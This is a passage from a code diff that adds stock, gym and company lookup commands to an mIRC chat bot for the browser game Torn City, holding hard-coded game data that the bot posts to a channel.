+        var %name = Eaglewood Mercenary, %sym = EWM, %link = 19
+        var %bene = You are entitled to receive occasional grenade packs when holding at least 2,000,000 shares.
+      }
+      if ($2 == tcm) { 
+        var %name = Torn City Motors, %sym = TCM, %link = 20
+        var %bene = You are entitled to receive a 25% discount when buying car parts when holding at least 1,000,000 shares.
+      }
+      if ($2 == elbt) { 
+        var %name = The Empty Lunchbox Building Traders, %sym = ELBT, %link = 21
+        var %perf = The performance of this stock relies upon the amount of money spent on properties by people.
+        var %bene = You are entitled to receive a 10% discount on all home upgrades (not including staff) when holding at least 5,000,000 shares.
+      }
+      if ($2 == hrg) { 
+        var %name = Home Retail Group, %sym = HRG, %link = 22
+        var %perf = The performance of this stock relies upon the amount of money spent on properties by people.
+        var %bene = You are entitled to receive occasional free properties when holding at least 1,500,000 shares.
+      }
+      if ($2 == tgp) { 
+        var %name = Tell Group Plc., %sym = TGP, %link = 23
+        var %perf = The performance of this stock relies upon the amount of company advertising campaigns.
+        var %bene = You are entitled to receive a significant boost in company advertising (if you are the director) when holding at least 2,500,000 shares.
+      }
+      if ($2 == wssb) { 
+        var %name = West Side South Bank University, %sym = WSSB, %link = 25
+        var %perf = The performance of this stock relies upon the amount of people currently in education courses.
+        var %bene = You are entitled to receive a 10% time reduction for all newly started courses when holding at least 1,000,000 shares.
+      }
+      if ($2 == istc) { 
+        var %name = International School TC, %sym = ISTC, %link = 26
+        var %perf = The performance of this stock relies upon the amount of people currently in education courses.
+        var %bene = You are entitled to receive free education when holding at least 100,000 shares.
+      }
+      if ($2 == bag) { 
+        var %name = Big Al's Gun Shop, %sym = BAG, %link = 27
+        var %perf = The performance of this stock relies upon the amount of money spent in Big Al's shop.
+        var %bene = You are entitled to receive occasional special ammunition packs when holding at least 3,000,000 shares.
+      }
+      if ($2 == evl) { 
+        var %name = Evil Ducks Candy Corp, %sym = EVL, %link = 28
+        var %bene = You are entitled to receive occasional happy boosters when holding at least 1,750,000 shares.
+      }
+      if ($2 == mcs) { 
+        var %name = Mc Smoogle Corp, %sym = MCS, %link = 29
+        var %bene = You are entitled to receive occasional free meals when holding at least 1,750,000 shares. (300 energy)
+      }
+      if ($2 == wlt) { 
+        var %name = Wind Lines Travel, %sym = WLT, %link = 30
+        var %perf = The performance of this stock relies upon the amount of people travelling in and out of Torn.
+        var %bene = You are entitled to receive access to our free private jet when holding at least 9,000,000 shares.
+      }
+      if ($2 == tcc) { 
+        var %name = Torn City Clothing, %sym = TCC, %link = 31
+        var %bene = You are entitled to receive occasional dividends when holding at least 350,000 shares.
+      }
+      if (%name != $null) {
+        if (%perf != $null) { var %stockline = $tc.col(2) $+ %name $tc.col(8) $+ ( $+ %sym $+ ) $+ $tc.col(1) %perf }
+        else { var %stockline = $tc.col(2) $+ %name $tc.col(8) $+ ( $+ %sym $+ ) }
+        if (%bene == $null) { var %stockline = %stockline $tc.col(5) $+ This stock does not provide a benefit. }
+        else { var %stockline = %stockline $tc.col(6) $+ %bene }
+        msg # %stockline
+      }    
+      else { msg # $tc.col(5) $+ Don't know what stock $+ $tc.col(2) $2 $tc.col(5) $+ is. }
+    }
+
+    ; --------------------------------- gym info lookup command ---------------------------------
+
+    if ($1 == !gym) {
+      if ($2 == $null) { msg # $tc.col(3) $+ Displays brief gym info. $tc.col(1) $+ Usage: $tc.col(2) $+ !gym GymName $tc.col(1) $+ - Gym info pulled from: $+ $tc.col(2) https://www.torn.com/wiki/Gym | halt }
+      if ($2 == Premier) { 
+        var %gymname = Premier Fitness, %gymclass = Light
+        var %gymstr = 2.0, %gymspd = 2.0, %gymdef = 2.0, %gymdex = 2.0, %gymept = 5, %gymcost = 10
+        var %gymnote = First Light Gym, all new players start here., %gymnext = Average Joes, %avgnexte = 200
+      }
+      if ($2 == Average) { 
+        var %gymname = Average Joes, %gymclass = Light
+        var %gymstr = 2.4, %gymspd = 2.4, %gymdef = 2.8, %gymdex = 2.4, %gymept = 5, %gymcost = 100
+        var %gymnext = Woody's Workout, %avgnexte = 500
+      }
+      if ($2 == Woody's || $2 == Woodys) { 
+        var %gymname = Woody's Workout, %gymclass = Light
+        var %gymstr = 2.8, %gymspd = 3.2, %gymdef = 3.0, %gymdex = 2.8, %gymept = 5, %gymcost = 250
+        var %gymnext = Beach Bods, %avgnexte = 1000
+      }
+      if ($2 == Beach) { 
+        var %gymname = Beach Bods, %gymclass = Light
+        var %gymstr = 3.2, %gymspd = 3.2, %gymdef = 3.2, %gymdex = 0, %gymept = 5, %gymcost = 500
+        var %gymnext = Silver Gym, %avgnexte = 2000
+      }
+      if ($2 == Silver) { 
+        var %gymname = Silver Gym, %gymclass = Light
+        var %gymstr = 3.4, %gymspd = 3.6, %gymdef = 3.4, %gymdex = 3.2, %gymept = 5, %gymcost = 1000
+        var %gymnext = Pour Femme, %avgnexte = 2750
+      }
+      if ($2 == Pour) { 
+        var %gymname = Pour Femme, %gymclass = Light
+        var %gymstr = 3.4, %gymspd = 3.6, %gymdef = 3.6, %gymdex = 3.8, %gymept = 5, %gymcost = 2500
+        var %gymnext = Davie's Den, %avgnexte = 3000
+      }
+      if ($2 == Davie's || $2 == Davies) { 
+        var %gymname = Davie's Den, %gymclass = Light
+        var %gymstr = 3.7, %gymspd = 0, %gymdef = 3.7, %gymdex = 3.7, %gymept = 5, %gymcost = 5000
+        var %gymnext = Global Gym, %avgnexte = 3500
+      }
+      if ($2 == Global) { 
+        var %gymname = Global Gym, %gymclass = Light
+        var %gymstr = 4.0, %gymspd = 4.0, %gymdef = 4.0, %gymdex = 4.0, %gymept = 5, %gymcost = 10000
+        var %gymnote = Final Light Gym, %gymnext = Knuckle Head, %avgnexte = 4000
+      }
+      if ($2 == Knuckle) { 
+        var %gymname = Knuckle Head, %gymclass = Medium
+        var %gymstr = 4.8, %gymspd = 4.4, %gymdef = 4.0, %gymdex = 4.2, %gymept = 10, %gymcost = 50000
+        var %gymnote = First Medium Gym, %gymnext = Pioneer Fitness, %avgnexte = 6000
+      }
+      if ($2 == Pioneer) { 
+        var %gymname = Pioneer Fitness, %gymclass = Medium
+        var %gymstr = 4.4, %gymspd = 4.6, %gymdef = 4.8, %gymdex = 4.4, %gymept = 10, %gymcost = 100000
+        var %gymnext = Anabolic Anomalies, %avgnexte = 7000
+      }
+      if ($2 == Anabolic) { 
+        var %gymname = Anabolic Anomalies, %gymclass = Medium
+        var %gymstr = 5.0, %gymspd = 4.6, %gymdef = 5.2, %gymdex = 4.6, %gymept = 10, %gymcost = 250000
+        var %gymnext = Core, %avgnexte = 8000
+      }
+      if ($2 == Core) { 
+        var %gymname = Core, %gymclass = Medium
+        var %gymstr = 5.0, %gymspd = 5.2, %gymdef = 5.0, %gymdex = 5.0, %gymept = 10, %gymcost = 500000
+        var %gymnext = Racing Fitness, %avgnexte = 11000
+      }
+      if ($2 == Racing) { 
+        var %gymname = Racing Fitness, %gymclass = Medium
+        var %gymstr = 5.0, %gymspd = 5.4, %gymdef = 4.8, %gymdex = 5.2, %gymept = 10, %gymcost = 1000000
+        var %gymnext = Complete Cardio, %avgnexte = 12420
+      }
+      if ($2 == Complete) { 
+        var %gymname = Complete Cardio, %gymclass = Medium
+        var %gymstr = 5.5, %gymspd = 5.8, %gymdef = 5.5, %gymdex = 5.2, %gymept = 10, %gymcost = 2000000
+        var %gymnext = Legs, Bums and Tums, %avgnexte = 18000
+      }
+      if ($2 == Legs) { 
+        var %gymname = Legs, Bums and Tums, %gymclass = Medium
+        var %gymstr = 0, %gymspd = 5.6, %gymdef = 5.6, %gymdex = 5.8, %gymept = 10, %gymcost = 3000000
+        var %gymnext = Deep Burn, %avgnexte = 18100
+      }
+      if ($2 == Deep) { 
+        var %gymname = Deep Burn, %gymclass = Medium
+        var %gymstr = 6.0, %gymspd = 6.0, %gymdef = 6.0, %gymdex = 6.0, %gymept = 10, %gymcost = 5000000
+        var %gymnote = Final Medium Gym, %gymnext = Apollo Gym, %avgnexte = 24140
+      }
+      if ($2 == Apollo) { 
+        var %gymname = Apollo Gym, %gymclass = Heavy
+        var %gymstr = 6.0, %gymspd = 6.2, %gymdef = 6.4, %gymdex = 6.2, %gymept = 10, %gymcost = 7500000
+        var %gymnote = First Heavy Gym, %gymnext = Gun Shop, %avgnexte = 31200
+      }
+      if ($2 == Gun) { 
+        var %gymname = Gun Shop, %gymclass = Heavy
+        var %gymstr = 6.6, %gymspd = 6.4, %gymdef = 6.2, %gymdex = 6.2, %gymept = 10, %gymcost = 10000000
+        var %gymnext = Force Training, %avgnexte = 36610
+      }
+      if ($2 == Force) { 
+        var %gymname = Force Training, %gymclass = Heavy
+        var %gymstr = 6.4, %gymspd = 6.6, %gymdef = 6.4, %gymdex = 6.8, %gymept = 10, %gymcost = 15000000
+        var %gymnext = Cha Cha's, %avgnexte = 46640
+      }
+      if ($2 == Cha) { 
+        var %gymname = Cha Cha's, %gymclass = Heavy
+        var %gymstr = 6.4, %gymspd = 6.4, %gymdef = 6.8, %gymdex = 7.0, %gymept = 10, %gymcost = 20000000
+        var %gymnote = Possibly unlocks Balboas Gym or Frontline Fitness based on your stat distribution.
+        var %gymnext = Atlas, %avgnexte = 56520
+      }
+      if ($2 == Atlas) { 
+        var %gymname = Atlas, %gymclass = Heavy
+        var %gymstr = 7.0, %gymspd = 6.4, %gymdef = 6.4, %gymdex = 6.6, %gymept = 10, %gymcost = 30000000
+        var %gymnext = Last Round, %avgnexte = 67775
+      }
+      if ($2 == Last) { 
+        var %gymname = Last Round, %gymclass = Heavy
+        var %gymstr = 6.8, %gymspd = 6.6, %gymdef = 7.0, %gymdex = 6.6, %gymept = 10, %gymcost = 50000000
+        var %gymnext = The Edge, %avgnexte = 84535
+      }      
+      if ($2-3 == The Edge || $2 == Edge) { 
+        var %gymname = The Edge, %gymclass = Heavy
+        var %gymstr = 6.8, %gymspd = 7.0, %gymdef = 7.0, %gymdex = 6.8, %gymept = 10, %gymcost = 75000000
+        var %gymnext = George's, %avgnexte = 106305
+      }
+      if ($2 == George's || $2 == Georges) { 
+        var %gymname = George's, %gymclass = Heavy
+        var %gymstr = 7.2, %gymspd = 7.2, %gymdef = 7.2, %gymdex = 7.2, %gymept = 10, %gymcost = 100000000
+        var %gymnote = Final Heavy Gym. Possibly unlock one of four special gyms based on stat distribution. No further gyms unlocked by energy spent.
+      }
+      if ($2 == Balboas || $2 == Balboa's) { 
+        var %gymname = Balboas Gym, %gymclass = Special
+        var %gymstr = 0, %gymspd = 0, %gymdef = 7.5, %gymdex = 7.5, %gymept = 25, %gymcost = 50000000
+        var %gymnote = Unlocks when Cha Cha's is unlocked and (Def + Dex) is 25% higher than (Str + Spd).
+      }
+      if ($2 == Frontline) { 
+        var %gymname = Frontline Fitness, %gymclass = Special
+        var %gymstr = 7.5, %gymspd = 7.5, %gymdef = 0, %gymdex = 0, %gymept = 25, %gymcost = 50000000
+        var %gymnote = Unlocks when Cha Cha's is unlocked and (Str + Spd) is 25% higher than (Def + Dex).
+      }
+      if ($2 == Gym || $2 == Gym3000) { 
+        var %gymname = Gym 3000, %gymclass = Special
+        var %gymstr = 8.0, %gymspd = 0, %gymdef = 0, %gymdex = 0, %gymept = 50, %gymcost = 100000000
+        var %gymnote = Unlocks when George's is unlocked and Str is 25% higher than your second highest stat.
+      }
+      if ($2 == Mr || $2 == Mr. || $2 == Isoyama || $2 == Isoyamas) { 
+        var %gymname = Mr. Isoyamas, %gymclass = Special
+        var %gymstr = 0, %gymspd = 0, %gymdef = 8.0, %gymdex = 0, %gymept = 50, %gymcost = 100000000
+        var %gymnote = Unlocks when George's is unlocked and Def is 25% higher than your second highest stat.
+      }
+      if ($2 == Total) { 
+        var %gymname = Total Rebound, %gymclass = Special
+        var %gymstr = 0, %gymspd = 8.0, %gymdef = 0, %gymdex = 0, %gymept = 50, %gymcost = 100000000
+        var %gymnote = Unlocks when George's is unlocked and Spd is 25% higher than your second highest stat.
+      }      
+      if ($2 == Elites) { 
+        var %gymname = Elites, %gymclass = Special
+        var %gymstr = 0, %gymspd = 0, %gymdef = 0, %gymdex = 8.0, %gymept = 50, %gymcost = 100000000
+        var %gymnote = Unlocks when George's is unlocked and Dex is 25% higher than your second highest stat.
+      }
+      if ($2-3 == The Sports || $2 == Sports) { 
+        var %gymname = The Sports Science Lab, %gymclass = Special
+        var %gymstr = 9.0, %gymspd = 9.0, %gymdef = 9.0, %gymdex = 9.0, %gymept = 25, %gymcost = 500000000
+        var %gymnote = Drug free gym. Unlocks when Last Round is unlocked and player has taken little or no drugs. Will lose membership if player takes more than 50 Xanax or Ecstasy.
+      }
+      if ($2 == Crims || $2 == Crim's || $2 == Jail) { 
+        var %gymname = Crims Gym, %gymclass = Jail
+        var %gymstr = 3.4, %gymspd = 3.4, %gymdef = 3.8, %gymdex = 0, %gymept = 5, %gymcost = 0
+        var %gymnote = Gym used when in jail.
+      }
+      if (%gymname != $null) {
+        if (%gymstr == 0) { var %gymstr = $tc.col(5) $+ None } | if (%gymspd == 0) { var %gymspd = $tc.col(5) $+ None }
+        if (%gymdex == 0) { var %gymdex = $tc.col(5) $+ None } | if (%gymdef == 0) { var %gymdef = $tc.col(5) $+ None }
+        msg # $tc.col(2) $+ %gymname $tc.col(1) $+ ( $+ $tc.col(2) $+ %gymclass $+ $tc.col(1) $+ ) - Cost: $+ $tc.col(2) $ $+ $tc.addComma(%gymcost) $tc.col(1) $+ - Str: $+ $tc.col(2) %gymstr $tc.col(1) $+ - Spd: $+ $tc.col(2) %gymspd $tc.col(1) $+ - Def: $+ $tc.col(2) %gymdef $tc.col(1) $+ - Dex: $+ $tc.col(2) %gymdex $tc.col(1) $+ - EPT: $+ $tc.col(2) %gymept 
+        if (%gymnote != $null) { msg # $tc.col(4) $+ %gymnote }
+        if (%gymnext != $null) { 
+          var %nextmsg = $tc.col(1) $+ Next gym unlocked: $+ $tc.col(2) %gymnext 
+          if (%avgnexte != $null) { var %nextmsg = %nextmsg $tc.col(1) $+ - Estimate Energy to Next Gym: $+ $tc.col(2) $tc.addComma(%avgnexte) }
+          msg # %nextmsg
+        }
+      }
+      else { msg # $tc.col(5) $+ I have no idea what " $+ $tc.col(2) $+ $2- $+ $tc.col(5) $+ " is. }
+    }
+
+    ; --------------------------------- company info lookup command ---------------------------------
+
+    if ($1 == !job || $1 == !company) {
+      if ($2 == $null) { 
+        msg # $tc.col(3) $+ Lists company specials. $tc.col(1) $+ Usage: $tc.col(2) $+ !job CompanyName 
+        msg # $tc.col(8) $+ Huge thanks to $+ $tc.col(4) Rayne $tc.colid(1868280,8,4) for helping me enter all the data. 
+      }
+      else {
+        if ($2 == Hair || $2 == 1) { 
+          var %comp = Hair Salon, %compid = 1
+          var %1n = Debate, %1d = +Experience, %1c = (1 pt) 
+          var %3n = Gossip, %3d = View someone's money on hand, %3c = (10 pts) 
+          var %5n = Rumors, %5d = 50% reduced enemy stealth, %5c = (Passive) 
+          var %7n = Cutting corners, %7d = 30 minute education time reduction, %7c = (1 pt) 
+          var %10n = Sweeney's Revenge, %10d = 20% slashing weapon damage, %10c = (Passive) 
+        }
+        if ($2 == Law || $2 == 2) { 
+          var %comp = Law Firm, %compid = 2
+          var %1n = Bail Bondsman, %1d = 50% decreased bail costs, %1c = (Passive) 
+          var %3n = Background Check, %3d = View someone's stats, %3c = (10 pts) 
+          var %5n = Closing Argument, %5d = Easier to bust more people at once, %5c = (Passive) 
+          var %7n = Loophole, %7d = 20% organised crime skill, %7c = (Passive)
+          var %10n = Educated Decisions, %10d = View success chance of potential busts, %10c = (Passive)
+        }
+        if ($2 == Flower || $2 == 3) { 
+          var %comp = Flower Shop, %compid = 3
+          var %1n = Rare Import, %1d = Special flower, %1c = (3 pts) 
+          var %3n = Cultivation, %3d = 25% illegal production success & skill gain, %3c = (Passive) 
+          var %5n = Herbal Cleansing, %5d = Drug addiction reduction, %5c = (1 pt) 
+          var %7n = Over Capacity, %7d = Buy 5 additional special flowers abroad, %7c = (Passive)
+          var %10n = Floral Contacts, %10d = View stock analysis of flowers in all countries, %10c = (10 pts)
+        }
+        if ($2 == Car || $2 == 4) { 
+          var %comp = Car Dealership, %compid = 4
+          var %1n = Test Drive, %1d = Racing point, %1c = (5 pts) 
+          var %3n = Discount parts, %3d = 75% cost discount on car parts, %3c = (Passive) 
+          var %5n = Salesman, %5d = No item market fees, %5c = (Passive) 
+          var %7n = Two-Faced, %7d = 25% fraud success & skill gain, %7c = (Passive) 
+          var %10n = Getaway Car, %10d = 95% increased run away chance, %10c = (Passive) 
+        }
+        if ($2 == Cloth || $2 == Clothing || $2 == 5) {
+          var %comp = Clothing Store, %compid = 5
+          var %1n = Fashion Show, %1d = +Experience, %1c = (1 pt) 
+          var %3n = Nine to Five, %3d = 100 Endurance, %3c = (10 pts) 
+          var %5n = Activewear, %5d = 25% passive dexterity, %5c = (Passive)          
+          var %7n = Secret pockets, %7d = 75% enemy mug losses, %7c = (Passive) 
+          var %10n = Tailoring, %10d = 20% armor bonus, %10c = (Passive) 
+        }
+        if ($2 == Gun || $2 == 6) {
+          var %comp = Gun Shop, %compid = 6
+          var %1n = Sales Discount, %1d = 20% Discount on Standard Ammo Cost, %1c = (Passive)
+          var %3n = Surplus, %3d = 100 Random Special Ammunition, %3c = (25 pts) 
+          var %5n = Skilled Analysis, %5d = Target Equipment and Ammo is always visible, %5c = (Passive)
+          var %7n = Bandoleer, %7d = 1 extra clip for guns during combat, %7c = (Passive) 
+          var %10n = Firearms Expert, %10d = 10% Primary & Secondary weapon damage, %10c = (Passive) 
+        }
+        if ($2 == Game || $2 == 7) {
+          var %comp = Game Shop, %compid = 7
+          var %1n = Ub3rg33k, %1d = 50% virus coding time reduction, %1c = (Passive) 
+          var %3n = Early Release, %3d = Money, %3c = (100 pts) 
+          var %5n = Gamer, %5d = 100% console happiness, %5c = (Passive)
+          var %7n = Power Levelling, %7d = View progress to your next level, %7c = (10 pts) 
+          var %10n = Overpowered, %10d = 1 nerve 5 energy 50 happiness, %10c = (1 pt - max 100pt/day) 
+        }
+        if ($2 == Candle || $2 == 8) {
+          var %comp = Candle Shop, %compid = 8
+          var %1n = Warming Therapy, %1d = 50 happiness, %1c = (1 pt) 
+          var %3n = Illumination, %3d = 50% awareness, %3c = (Passive) 
+          var %5n = Calming Therapy, %5d = 2 nerve, %5c = (1 pt)
+          var %7n = Reinvigorating Therapy, %7d = 5 energy, %7c = (1 pt - max 100pt/day) 
+          var %10n = Meditation, %10d = View someone's true level, %10c = (250 pts)
+        }
+        if ($2 == Toy || $2 == 9) {
+          var %comp = Toy Shop, %compid = 9
+          var %1n = Memory Lane, %1d = 50 happiness, %1c = (1 pt) 
+          var %3n = Jumble Sale, %3d = Special plushie, %3c = (3 pts) 
+          var %5n = Gamer, %5d = 100% console happiness. %5c = (Passive)
+          var %7n = Over Capacity, %7d = Able to bring back +5 plushies from abroad, %7c = (Passive) 
+          var %10n = Toy Importer, %10d = View stock analysis of plushies in all countries, %10c = (10 pts) 
+        }
+        if ($2 == Adult || $2 == 10) {
+          var %comp = Adult Novelties, %compid = 10
+          var %1n = Blackmail, %1d = Money, %1c = (1 pt) 
+          var %3n = Voyeur, %3d = Erotic DVD, %3c = (20 pts) 
+          var %5n = Party Supplies, %5d = Pack of Trojans, %5c = (500 pts)
+          var %7n = Bondage, %7d = 25% enemy speed reduction, %7c = (Passive) 
+          var %10n = Indecent, %10d = 100% bonus to Erotic DVDs, %10c = (Passive)
+        }
+        if ($2 == Cyber || $2 == 11) {
+          var %comp = Cyber Cafe, %compid = 11
+          var %1n = Ub3rg33k, %1d = 50% virus coding time reduction, %1c = (Passive) 
+          var %3n = Clone Data, %3d = Virus, %3c = (25 pts) 
+          var %5n = Proxy Hacking, %5d = Cancel a target's virus programming, %5c = (25 pts)
+          var %7n = IP Tracing, %7d = View lister of anonymous bounties, %7c = (25 pts) 
+          var %10n = Financial Phishing, %10d = View details of someone's investment account, %10c = (25 pts)
+        }
+        if ($2 == Grocery || $2 == 12) {
+          var %comp = Grocery Store, %compid = 12
+          var %1n = Bagged Down, %1d = Bag of candy, %1c = (2 pts) 
+          var %3n = Fast Metabolism, %3d = 10% consumable cooldown reduction, %3c = (Passive)
+          var %5n = Bottled Up, %5d = Bottle of alcohol, %5c = (5 pts)
+          var %7n = Absorption, %7d = 10% consumable boost, %7c = (Passive) 
+          var %10n = Canned in, %10d = Can of energy drink, %10c = (12 pts)
+        }
+        if ($2 == Theater || $2 == Theatre || $2 == 13) {
+          var %comp = Theater, %compid = 13
+          var %1n = Stagecraft, %1d = Experience, %1c = (1 pt) 
+          var %3n = Dramatics, %3d = Guaranteed stealth, %3c = (20 pts) 
+          var %5n = Masked, %5d = Cannot be targeted by spies, %5c = (Passive)
+          var %7n = Twinlike, %7d = 25% forgery success rate and skill gain, %7c = (Passive) 
+          var %10n = Disguised, %10d = Hidden travelling status & destination, %10c = (Passive) 
+        }
+        if ($2 == Sweet || $2 == 14) {
+          var %comp = Sweet Shop, %compid = 14
+          var %1n = Sweet Tooth, %1d = 50 happiness, %1c = (1 pt) 
+          var %3n = Sugar rush, %3d = Bag of candy, %3c = (2 pts) 
+          var %5n = Gluttony, %5d = 1000 happiness, %5c = (10 pts)
+          var %7n = Energy Rush, %7d = Can of energy drink, %7c = (15 pts)
+          var %10n = Voracious, %10d = 4500 happiness, %10c = (30 pts)
+        }
+        if ($2 == Cruise || $2 == 15) {
+          var %comp = Cruise Line, %compid = 15
+          var %1n = Bursar, %1d = 25 casino tokens, %1c = (1 pt) 
+          var %3n = Portage, %3d = 2 extra travel items, %3c = (Passive)
+          var %5n = R&R, %5d = Drug addiction reduction, %5c = (1 pt)
+          var %7n = Destination Report, %7d = View stock analysis of all items at a selected country, %7c = (10 pts) 
+          var %10n = Freight, %10d = 3 extra travel items, %10c = (Passive)
+        }
+        if ($2 == Television || $2 == TV || $2 == 16) {
+          var %comp = Television Network, %compid = 16
+          var %1n = Propaganda, %1d = 1 faction respect, %1c = (5 pts) 
+          var %3n = Scoop, %3d = 50% newspaper advertising cost reduction, %3c = (Passive) 
+          var %5n = Inside Story, %5d = View someone's stats & money, %5c = (15 pts)
+          var %7n = Bad Publicity, %7d = 25% extortion success rate and skill gain, %7c = (Passive) 
+          var %10n = Press Pass, %10d = Receive special privileges, %10c = (25 pts) 
+        }
+        if ($2 == 17) { msg # $tc.col(5) $+ Oddly, there is no company with the ID 17 in game. | halt }
+        if ($2 == Zoo || $2 == 18) {
+          var %comp = Zoo, %compid = 18
+          var %1n = Fulfillment, %1d = 50 happiness, %1c = (1 pt) 
+          var %3n = Animal Instinct, %3d = 25% hunting reward, %3c = (Passive) 
+          var %5n = Special K, %5d = Ketamine drug, %5c = (5 pts)
+          var %7n = Eye of the Tiger, %7d = 70% awareness, %7c = (Passive) 
+          var %10n = Seasoned Poacher, %10d = 25% accuracy, %10c = (Passive)
+        }
+        if ($2 == Firework || $2 === 19) {
+          var %comp = Firework Stand, %compid = 19
+          var %1n = Audaciousness, %1d = 1 nerve, %1c = (1 pt) 
+          var %3n = Illumination, %3d = 50% awareness, %3c = (Passive) 
+          var %5n = Pyromania, %5d = 25% flame-thrower damage & accuracy, %5c = (Passive)
+          var %7n = Explosives Expert, %7d = Random bomb parts, %7c = (5 pts) 
+          var %10n = Inferno, %10d = 50 random incendiary ammunition, %10c = (25 pts)
+        }
+        if ($2 == Property || $2 == 20) { 
+          var %comp = Property Broker, %compid = 20
+          var %1n = Commission, %1d = Money, %1c = (1 pt) 
+          var %3n = Job Satisfaction, %3d = 50 happiness, %3c = (1 pt) 
+          var %5n = Vendor, %5d = No item market fees, %5c = (Passive)
+          var %7n = Insider Trading, %7d = Random property, %7c = (150 pts) 
+          var %10n = Interior Connections, %10d = 10% property upgrade cost reduction, %10c = (Passive)
+        }
+        if ($2 == Furniture || $2 == Furnature || $2 == 21) {
+          var %comp = Furniture Store, %compid = 21
+          var %1n = Coffee Break, %1d = 3 energy, %1c = (1 pt - max 100pt/day) 
+          var %3n = Heavy Lifting, %3d = Strength, %3c = (1 pt) 
+          var %5n = Removal, %5d = 25% theft success rate and skill gain, %5c = (Passive)
+          var %7n = Beefcake, %7d = 25% passive strength, %7c = (Passive)
+          var %10n = Brute Force, %10d = 100% fist/kick damage, %10c = (Passive) 
+        }
+        if ($2 == Gas || $2 == 22) {
+          var %comp = Gas Station, %compid == 22
+          var %1n = Machinist, %1d = Racing point, %1c = (5 pts) 
+          var %3n = Discount Parts, %3d = 75% cost discount on car parts, %3c = (Passive)
+          var %5n = Arsonist, %5d = 25% vandalism success rate and skill gain, %5c = (Passive)
+          var %7n = Molotov cocktail, %7d = Molotov cocktail, %7c = (5 pts) 
+          var %10n = Blaze of Glory, %10d = 50% Molotov cocktail damage & duration, %10c = (Passive)
+        }
+        if ($2 == Music || $2 == 23) {
+          var %comp = Music Store, %compid = 23
+          var %1n = Ambience, %1d = 50 happiness, %1c = (1 pt) 
+          var %3n = Bootlegger, %3d = 25% prohibited trade success & skill gain, %3c = (Passive) 
+          var %5n = High-fidelity, %5d = 75% enemy stealth reduction, %5c = (Passive)
+          var %7n = Deafened, %7d = Guaranteed stealth, %7c = (15 pts) 
+          var %10n = The Score, %10d = 10% passive all stats, %10c = (Passive)
+        }
+        if ($2 == Nightclub || $2 == 24) {
+          var %comp = Nightclub, %compid = 24
+          var %1n = Criminal Connections, %1d = +Experience, %1c = (1 pt) 
+          var %3n = Target Market, %3d = 25% illicit services success & skill gain, %3c = (Passive) 
+          var %5n = Suppression, %5d = Drug addiction, %5c = (1 pt)
+          var %7n = Tolerance, %7d = 50% drug overdose reduction, %7c = (Passive) 
+          var %10n = Restraint, %10d = Education is unaffected by drug addiction, %10c = (Passive)
+        }
+        if ($2 == Pub || $2 == 25) {
+          var %comp = Pub, %compid = 25
+          var %1n = Pub Lunch, %1d = 3 energy, %1c = (1 pt - max 100pt/day) 
+          var %3n = Drunken Master, %3d = 10% melee weapon damage, %3c = (Passive) 
+          var %5n = Liquid Courage, %5d = Refill nerve bar, %5c = (25 pts)
+          var %7n = Lightweight, %7d = 50% bottle of alcohol boost, %7c = (Passive) 
+          var %10n = Buzzed, %10d = 15 maximum nerve, %10c = (Passive) 
+        }
+        if ($2 == Gents || $2 == Gentleman || $2 == Gentlemans || $2 == 26) {
+          var %comp = Gents Strip Club, %compid = 26
+          var %1n = Happy Hour, %1d = Money, %1c = (1 pt) 
+          var %3n = Free Drinks, %3d = 1 nerve, %3c = (1 pt) 
+          var %5n = High Heels, %5d = Pair of high heels, %5c = (500 pts)
+          var %7n = Dancer's flair, %7d = 25% passive dexterity, %7c = (Passive) 
+          var %10n = Aspiring Workout, %10d = 10% dexterity gym gains, %10c = (Passive) 
+        }
+        if ($2 == Restaurant || $2 == 27) {
+          var %comp = Restaurant, %compid = 27
+          var %1n = Free Meals, %1d = 3 energy, %1c = (1 pt - max 100pt/day) 
+          var %3n = Butcher, %3d = 10% melee weapon damage, %3c = (Passive) 
+          var %5n = Flambayed, %5d = Flame thrower, %5c = (50 pts)
+          var %7n = Healthy Diet, %7d = 2% life regeneration per tick, %7c = (Passive) 
+          var %10n = Professional Metabolism, %10d = 25% food & drink cooldown reduction, %10c = (Passive)
+        }
+        if ($2 == Oil || $2 == Rig || $2 == 28) {
+          var %comp = Oil Rig, %compid = 28
+          var %1n = Danger Money, %1d = +Money, %1c = (1 pt) 
+          var %3n = Embargo, %3d = Half a target's happiness, %3c = (50 pts) 
+          var %5n = Oil Mogul, %5d = -1 hours bank investment time, %5c = (3 pts)
+          var %7n = Tax Haven, %7d = 10% increase of Cayman Islands interest rate, %7c = (Passive) 
+          var %10n = Fat Cat, %10d = 50% investment banking limit, %10c = (Passive)
+        }
+        if ($2 == Fitness || $2 == 29) {
+          var %comp = Fitness Center, %compid = 29
+          var %1n = Healthy Mind, %1d = -30 minutes education time, %1c = (1 pt) 
+          var %3n = Goal Oriented, %3d = 50% happiness loss in gym, %3c = (Passive)     
+          var %5n = Roid Rage, %5d = + Strength, %5c = (1 pt)
+          var %7n = Athlete, %7d = 3% life regeneration per tick, %7c = (Passive) 
+          var %10n = Training Regime, %10d = 3% gym gains, %10c = (Passive)
+        }
+        if ($2 == Mechanic || $2 == 30) {
+          var %comp = Mechanic Shop, %compid = 30
+          var %1n = Machinist, %1d = Racing point, %1c = (5 pts) 
+          var %3n = Discount Parts, %3d = 75% cost discount on car parts, %3c = (Passive) 
+          var %5n = Junkyard Dog, %5d = Random car, %5c = (5 pts)
+          var %7n = Refurbish, %7d = Lose no car parts after crashing, %7c = (Passive) 
+          var %10n = Driver, %10d = 50% driving skill gain, %10c = (Passive)
+        }
+        if ($2 == Amusement || $2 == 31) {
+          var %comp = Amusement Park, %compid = 31
+          var %1n = Dauntless, %1d = +1 nerve, %1c = (1 pt) 
+          var %3n = Free Ride, %3d = 250 happiness for target, %3c = (10 pts) 
+          var %5n = Unflinching, %5d = 10 maximum nerve, %5c = (Passive)
+          var %7n = Adrenaline Rush, %7d = 25% epinephrine effect & duration, %7c = (Passive) 
+          var %10n = Thrill Seeker, %10d = 10% crime skill and experience gain, %10c = (Passive)
+        }
+        if ($2 == Lingerie || $2 == 32) {
+          var %comp = Lingerie Store, %compid = 32
+          var %1n = Lingerie Party, %1d = +Experience, %1c = (1 pt) 
+          var %3n = Nine to five, %3d = 100 endurance, %3c = (10 pts) 
+          var %5n = Concealment, %5d = 2 extra travel items, %5c = (Passive)
+          var %7n = Born Free, %7d = 50% dexterity when not wearing armor, %7c = (Passive) 
+          var %10n = Free as the Wind Blows, %10d = 50% speed when not wearing any armor, %10c = (Passive)
+        }
+        if ($2 == Meat || $2 == 33) {
+          var %comp = Meat Warehouse, %compid = 33
